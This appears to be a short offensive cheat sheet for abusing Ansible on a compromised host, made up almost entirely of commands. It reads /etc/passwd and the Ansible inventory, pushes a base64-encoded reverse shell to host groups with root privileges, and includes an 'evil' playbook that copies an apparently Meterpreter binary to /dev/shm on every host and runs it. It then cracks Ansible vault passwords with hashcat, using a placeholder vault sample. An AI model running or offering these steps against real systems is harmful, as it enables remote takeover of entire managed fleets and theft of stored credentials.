$ cat /etc/passwd | grep ans
$ cat /etc/ansible/hosts
$ ansible --version
$ ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become
# ansible-playbook evil.yml
- name: Evil playbook
hosts: all
gather_facts: true
tasks:
- name: upload
copy:
src: /tmp/met
dest: /dev/shm/met
mode: a+x
- name: execute
shell: "nohup /dev/shm/met &"
async: 10
poll: 0
When vault-encrypted creds are discovered, the vault passwords can be cracked with hashcat:
$ /usr/share/john/ansible2john.py vuln.yaml > vault.in
$ hashcat -m 16900 -O -a 0 -w 3 --session=vault -o vault.out vault.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
$ cat vault.in
$ANSIBLE_VAULT;1.1;AES256
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000000000000000
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
00000000000000000000000000000000000000000000000000000000000000000000
$ cat vault.in | ansible-vault decrypt